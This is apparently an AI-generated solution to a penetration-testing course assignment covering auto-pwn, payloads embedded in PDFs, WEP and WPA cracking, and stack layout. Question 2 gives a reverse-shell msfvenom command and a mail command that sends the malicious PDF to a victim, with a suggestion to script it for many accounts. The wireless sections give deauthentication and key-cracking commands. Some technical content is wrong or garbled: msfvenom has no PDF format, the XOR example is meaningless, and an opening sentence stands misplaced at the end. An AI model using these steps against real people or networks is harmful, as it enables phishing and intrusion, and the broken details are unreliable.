PentestGPT - Asg 5 soln

1. Describe auto pawn attack and related payloads. What data can be gathered with auto pawn attack from the victim?

The "auto pawn attack" likely refers to "auto pwn" attack, a term often associated with automated exploitation frameworks like Metasploit's `auto_pwn` feature. This attack automates the process of scanning, identifying vulnerabilities, and exploiting them using pre-built payloads.

In an auto pwn attack, the attacker uses a tool to scan the target system for known vulnerabilities and automatically deploys payloads to exploit those vulnerabilities without manual intervention.

Related Payloads:

- Reverse shells (e.g., Meterpreter reverse TCP)
- Bind shells
- Command execution payloads
- File upload/download payloads

Data Gathered:

- System information (OS, hostname, IP)
- User credentials
- Files and documents
- Network configuration
- Running processes and services
- Password hashes
- Keylogs and screenshots (if payload supports)

---

2. How to attach a payload with a PDF file. Mimic the target user, download PDF and run it. Write commands and attach screenshots. Send email multiple accounts (inform your friends about it).

To attach a payload to a PDF, you can use Metasploit's `msfvenom` to create a malicious payload and then embed it into a PDF file. Here's a simplified example:

```
# Generate a reverse TCP payload in PDF format
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=4444 -f pdf > malicious.pdf
```

To mimic the target user, you would send this PDF via email or social engineering. When the victim opens the PDF, the payload executes, giving you control.

Commands to send email (example using `sendmail` or `mail`):

```
echo "Please find the attached document." | mail -s "Important PDF" -a malicious.pdf victim@example.com
```

For multiple accounts, you can script the sending process or use email clients.

Note: I cannot provide screenshots here, but you can capture terminal output using tools like `scrot` or `gnome-screenshot`.

---

3. How to crack WEP passkey. Set a WEP passkey and follow the process.

Cracking WEP involves capturing enough IVs (Initialization Vectors) and then using tools like `aircrack-ng` to recover the key.

Steps:

- Set up a WEP key on your test AP.
- Use `airodump-ng` to capture packets.
- Use `aireplay-ng` to inject packets and speed up IV collection.
- Use `aircrack-ng` to crack the key.

Example commands:

```
# Put wireless interface in monitor mode
airmon-ng start wlan0

# Capture packets
airodump-ng --bssid <AP_MAC> -c <channel> -w capture wlan0mon

# Inject packets to generate traffic
aireplay-ng -1 0 -a <AP_MAC> wlan0mon

# Crack WEP key
aircrack-ng capture-01.cap
```

---

4. How does WEP work? Explain the encryption and decryption process with Proper diagram and an example.

WEP (Wired Equivalent Privacy) uses RC4 stream cipher for encryption. It combines a secret key with a 24-bit IV to create a per-packet key. The plaintext is XORed with the RC4 keystream to produce ciphertext.

Encryption:

- IV + secret key → RC4 key
- RC4 key generates keystream
- Plaintext XOR keystream = Ciphertext
- IV sent in cleartext with ciphertext

Decryption:

- Receiver extracts IV
- Combines IV + secret key to generate RC4 key
- Generates keystream
- Ciphertext XOR keystream = Plaintext

Diagram: (I can create a textual diagram if needed)

Example: If plaintext is "HELLO" and keystream is "XMCKL", ciphertext = plaintext XOR keystream.

---

5. Describe a step-by-step process to crack WPA/WPA2 password.

WPA/WPA2 cracking involves capturing the 4-way handshake and then performing a dictionary or brute-force attack offline.

Steps:

- Put wireless interface in monitor mode.
- Use `airodump-ng` to capture handshake.
- Deauthenticate a client to force handshake capture.
- Use `aircrack-ng` or `hashcat` with a wordlist to crack the password.

Example commands:

```
airmon-ng start wlan0
airodump-ng --bssid <AP_MAC> -c <channel> -w capture wlan0mon
aireplay-ng --deauth 10 -a <AP_MAC> -c <client_MAC> wlan0mon
aircrack-ng -w wordlist.txt -b <AP_MAC> capture-01.cap
```

---

6. (Optional) Describe the memory layout for program execution. List all the general purpose registers. Show with an example diagram how functions are loaded into stack area and returned to the calling point after execution.

The memory layout typically includes:

- Text segment (code)
- Data segment (initialized data)
- BSS segment (uninitialized data)
- Heap (dynamic memory)
- Stack (function calls, local variables)

General Purpose Registers (x86 example):

- EAX, EBX, ECX, EDX
- ESI, EDI
- EBP (base pointer)
- ESP (stack pointer)

Function call process:

- Caller pushes arguments on stack.
- Caller executes `call` instruction (pushes return address).
- Callee sets up stack frame (push EBP, mov EBP, ESP).
- Callee executes.
- Callee restores stack frame and returns (`ret`).

---

7. (Optional) Demonstrate memory hijacking with overflowtext.c (Refer page 365, Georgia Weidman, Penetration Testing Book)

This involves buffer overflow exploitation by overwriting return addresses or control data in memory to hijack execution flow.

Let's start solving the penetration testing questions you provided from the assignment. I'll address each question in detail, combining explanations, commands, and examples where applicable.
